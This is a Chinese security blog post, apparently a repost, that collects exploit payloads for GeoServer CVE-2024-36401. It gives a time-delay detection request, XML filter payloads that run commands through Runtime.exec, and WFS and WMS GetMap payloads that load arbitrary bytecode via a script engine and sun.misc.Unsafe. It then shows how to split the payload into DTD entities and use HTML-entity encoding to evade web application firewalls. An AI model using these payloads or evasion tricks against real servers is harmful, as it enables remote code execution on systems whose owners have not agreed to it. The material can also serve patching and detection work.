GeoServerBypassWAF

admin 2026-01-09 23:30:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述GeoServerCVE-2024-36401漏洞利用及WAF绕过技巧,涵盖延时注入、命令执行与字节码加载POC。针对WFS限制场景提供了WMS替代方案,重点介绍了利用XMLDTD实体声明拆分及HTML实体编码混淆Payload以绕过防护。实战性强,适合红队攻防。 综合评分: 90 文章分类: 漏洞POC,渗透测试,红队,WEB安全,实战经验


cover_image

GeoServer Bypass WAF

原创

in1t0

Flykite

2026年1月9日 11:41 四川

免责声明

本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。

简单总结一年来CVE-2024-36401在实战中绕过WAF的一些Tricks

受影响版本

  • GeoServer < 2.23.6
  • 2.24.0 <= GeoServer < 2.24.4
  • 2.25.0 <= GeoServer < 2.25.2
  • GeoTools < 29.6
  • 31.0 <= GeoTools < 31.2
  • 30.0 <= GeoTools < 30.4

获取图层原始信息

/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilitiesw

常见Poc

延时注入:可以用于判断漏洞是否存在

<wfs:GetPropertyValue&nbsp;service='WFS'&nbsp;version='2.0.0'&nbsp;xmlns:topp='http://www.openplans.org/topp'&nbsp;xmlns:fes='http://www.opengis.net/fes/2.0'&nbsp;xmlns:wfs='http://www.opengis.net/wfs/2.0'>&nbsp;&nbsp;<wfs:Query&nbsp;typeNames='sf:archsites'/>&nbsp;&nbsp;<wfs:valueReference>java.lang.Thread.sleep(1500)</wfs:valueReference></wfs:GetPropertyValue>

命令执行:WFS GetPropertyValue

<wfs:GetFeature&nbsp;service="WFS"&nbsp;version="1.1.0"&nbsp;&nbsp;xmlns:topp="http://www.openplans.org/topp"&nbsp;&nbsp;xmlns:wfs="http://www.opengis.net/wfs"&nbsp;&nbsp;xmlns="http://www.opengis.net/ogc"&nbsp;&nbsp;xmlns:gml="http://www.opengis.net/gml"&nbsp;&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp;&nbsp;xsi:schemaLocation="http://www.opengis.net/wfs">&nbsp;&nbsp;<wfs:Query&nbsp;typeName="topp:states">&nbsp; &nbsp;&nbsp;<Filter>&nbsp; &nbsp; &nbsp;&nbsp;<Intersects>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Intersects>&nbsp; &nbsp; &nbsp;&nbsp;</Filter>&nbsp;&nbsp;</wfs:Query></wfs:GetFeature>

命令执行:WFS GetFeature

<wfs:GetFeature&nbsp;service="WFS"&nbsp;version="1.0.0"&nbsp;&nbsp;xmlns:topp="http://www.openplans.org/topp"&nbsp;&nbsp;xmlns:wfs="http://www.opengis.net/wfs"&nbsp;&nbsp;xmlns:ogc="http://www.opengis.net/ogc"&nbsp;&nbsp;xmlns:gml="http://www.opengis.net/gml"&nbsp;&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp;&nbsp;xsi:schemaLocation="http://www.opengis.net/wfs">&nbsp;&nbsp;<wfs:Query&nbsp;typeName="topp:states">&nbsp; &nbsp;&nbsp;<ogc:Filter>&nbsp; &nbsp; &nbsp;&nbsp;<ogc:BBOX>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<gml:Box&nbsp;srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</gml:Box>&nbsp; &nbsp; &nbsp;&nbsp;</ogc:BBOX>&nbsp; &nbsp;</ogc:Filter>&nbsp;&nbsp;</wfs:Query></wfs:GetFeature>

加载任意字节码:WFS GetPropertyValue

<wfs:GetFeature&nbsp;service="WFS"&nbsp;version="1.1.0"&nbsp; xmlns:topp="http://www.openplans.org/topp"&nbsp; xmlns:wfs="http://www.opengis.net/wfs"&nbsp; xmlns="http://www.opengis.net/ogc"&nbsp; xmlns:gml="http://www.opengis.net/gml"&nbsp; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp; xsi:schemaLocation="http://www.opengis.net/wfs">&nbsp;&nbsp;<wfs:Query&nbsp;typeName="topp:states">&nbsp; &nbsp;&nbsp;<Filter>&nbsp; &nbsp; &nbsp;&nbsp;<Intersects>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PropertyName>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'var&nbsp;str="字节码base64";var&nbsp;bt;try&nbsp;{&nbsp; &nbsp; bt&nbsp;=&nbsp;java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);}&nbsp;catch&nbsp;(e) {&nbsp; &nbsp; bt&nbsp;=&nbsp;java.util.Base64.getDecoder().decode(str);}var&nbsp;theUnsafe&nbsp;=&nbsp;java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);unsafe&nbsp;=&nbsp;theUnsafe.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();')</PropertyName>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Intersects>&nbsp; &nbsp; &nbsp;&nbsp;</Filter>&nbsp;&nbsp;</wfs:Query></wfs:GetFeature>

有些站的WFS service可能是被禁用或者是损坏的状态,也有可能Layer根本不存在。这个时候可以借助WMS service解决上述问题。

加载任意字节码:WMS getMap

POST /geoserver/wms HTTP/1.1Host:&nbsp;Content-Type: application/xml
<?xml version="1.0"&nbsp;encoding="UTF-8"?><ogc:GetMap&nbsp;xmlns:ogc="http://www.opengis.net/ows"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;xmlns:gml="http://www.opengis.net/gml"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;version="1.2.0"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;service="WMS">&nbsp;&nbsp;<StyledLayerDescriptor&nbsp;version="1.0.0"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns="http://www.opengis.net/sld"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:ogc="http://www.opengis.net/ogc"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:xlink="http://www.w3.org/1999/xlink"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:dave="http://blasby.com"&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">&nbsp; &nbsp;&nbsp;<UserLayer>&nbsp; &nbsp; &nbsp;&nbsp;<Name>Inline</Name>&nbsp; &nbsp; &nbsp;&nbsp;<InlineFeature>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<FeatureCollection>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<featureMember>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<BodyPart>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Type>Mouth</Type>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<polygonProperty>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<gml:Polygon>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<gml:outerBoundaryIs>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<gml:LinearRing>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<gml:coordinates>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 394,226 397,226&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</gml:coordinates>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</gml:LinearRing>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</gml:outerBoundaryIs>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</gml:Polygon>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</polygonProperty>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</BodyPart>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</featureMember>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</FeatureCollection>&nbsp; &nbsp; &nbsp;&nbsp;</InlineFeature>&nbsp; &nbsp; &nbsp;&nbsp;<UserStyle>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<FeatureTypeStyle>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Rule>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Filter>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Or>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PropertyIsEqualTo>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PropertyName>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'var str="字节码base64";var bt;try {&nbsp; &nbsp; bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);} catch (e) {&nbsp; &nbsp; bt = java.util.Base64.getDecoder().decode(str);}var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();')</PropertyName>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Literal>Eye</Literal>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</PropertyIsEqualTo>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Or>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Filter>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PolygonSymbolizer>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Fill>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<CssParameter&nbsp;name="fill">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<ogc:Literal>#DD06E0</ogc:Literal>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</CssParameter>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<CssParameter&nbsp;name="fill-opacity">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<ogc:Literal>1.0</ogc:Literal>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</CssParameter>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Fill>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Stroke>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<CssParameter&nbsp;name="stroke">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<ogc:Literal>#FF00FF</ogc:Literal>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</CssParameter>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Stroke>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</PolygonSymbolizer>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Rule>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</FeatureTypeStyle>&nbsp; &nbsp; &nbsp;&nbsp;</UserStyle>&nbsp; &nbsp;&nbsp;</UserLayer>&nbsp;&nbsp;</StyledLayerDescriptor>&nbsp;&nbsp;<BoundingBox>&nbsp; &nbsp;&nbsp;<gml:coord>&nbsp; &nbsp; &nbsp;&nbsp;<gml:X>0</gml:X>&nbsp; &nbsp; &nbsp;&nbsp;<gml:Y>0</gml:Y>&nbsp; &nbsp;&nbsp;</gml:coord>&nbsp; &nbsp;&nbsp;<gml:coord>&nbsp; &nbsp; &nbsp;&nbsp;<gml:X>500</gml:X>&nbsp; &nbsp; &nbsp;&nbsp;<gml:Y>500</gml:Y>&nbsp; &nbsp;&nbsp;</gml:coord>&nbsp;&nbsp;</BoundingBox>&nbsp;&nbsp;<Output>&nbsp; &nbsp;&nbsp;<Format>image/jpeg</Format>&nbsp; &nbsp;&nbsp;<Transparent>false</Transparent>&nbsp; &nbsp;&nbsp;<Size>&nbsp; &nbsp; &nbsp;&nbsp;<Width>501</Width>&nbsp; &nbsp; &nbsp;&nbsp;<Height>501</Height>&nbsp; &nbsp;&nbsp;</Size>&nbsp;&nbsp;</Output></ogc:GetMap>

Bypass WAF

其实绕过WAF的本质就是利用一切你所知的特性。 此时,我们很容易想到:能不能利用XML的特性来重新构造上述PoC?

使用 DTD 进行实体声明

<?xml version="1.0"&nbsp;encoding="UTF-8"&nbsp;?><!DOCTYPE&nbsp;root&nbsp;[&nbsp; &nbsp;&nbsp;<!ENTITY a&nbsp;"eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'var str=">&nbsp; &nbsp;&nbsp;<!ENTITY g&nbsp;'"'&nbsp;>&nbsp; &nbsp;&nbsp;<!ENTITY h&nbsp;'"'&nbsp;>&nbsp; &nbsp;&nbsp;<!ENTITY i&nbsp;";var bt;try {bt = java.lang.Class.forName">&nbsp; &nbsp;&nbsp;<!ENTITY b&nbsp;'("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);} catch (e) { bt = java.util.Base64.getDecoder'>&nbsp; &nbsp;&nbsp;<!ENTITY c&nbsp;'().decode(str);}var theUnsafe = java.lang.Class.forName'>&nbsp; &nbsp;&nbsp;<!ENTITY d&nbsp;'("sun.misc.Unsafe").getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName'>&nbsp; &nbsp;&nbsp;<!ENTITY e&nbsp;'("java.lang.Class"), bt, null).newInstance();'>&nbsp; &nbsp;&nbsp;<!ENTITY f&nbsp;"')">]><wfs:GetFeature&nbsp;service="WFS"&nbsp;version="1.1"&nbsp;&nbsp;xmlns:topp="http://www.openplans.org/topp"&nbsp;&nbsp;xmlns:wfs="http://www.opengis.net/wfs"&nbsp;&nbsp;xmlns="http://www.opengis.net/ogc"&nbsp;&nbsp;xmlns:gml="http://www.opengis.net/gml"&nbsp;&nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp;&nbsp;xsi:schemaLocation="http://www.opengis.net/wfs">&nbsp;&nbsp;<wfs:Query&nbsp;typeName="sf:archsites">&nbsp; &nbsp;&nbsp;<Filter>&nbsp; &nbsp; &nbsp;&nbsp;<Intersects>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<PropertyName>&a;&g;字节码base64字符串&h;&i;&b;&c;&d;&e;&f;</PropertyName>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Intersects>&nbsp; &nbsp; &nbsp;&nbsp;</Filter>&nbsp;&nbsp;</wfs:Query></wfs:GetFeature>

增强混淆:

另外在XML文档中默认是支持HTML实体编码的,我们也可以根据这个特性对某些关键字符串进行编码,重新构造PoC。

啄木鸟插件:

https://github.com/In1t0/GeoServerBypass


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Flykite in1t0《GeoServer Bypass WAF》

GeoServerBypassWAF 网络安全文章

GeoServerBypassWAF

文章总结: 本文详述GeoServerCVE-2024-36401漏洞利用及WAF绕过技巧,涵盖延时注入、命令执行与字节码加载POC。针对WFS限制场景提供了W
评论:0   参与:  0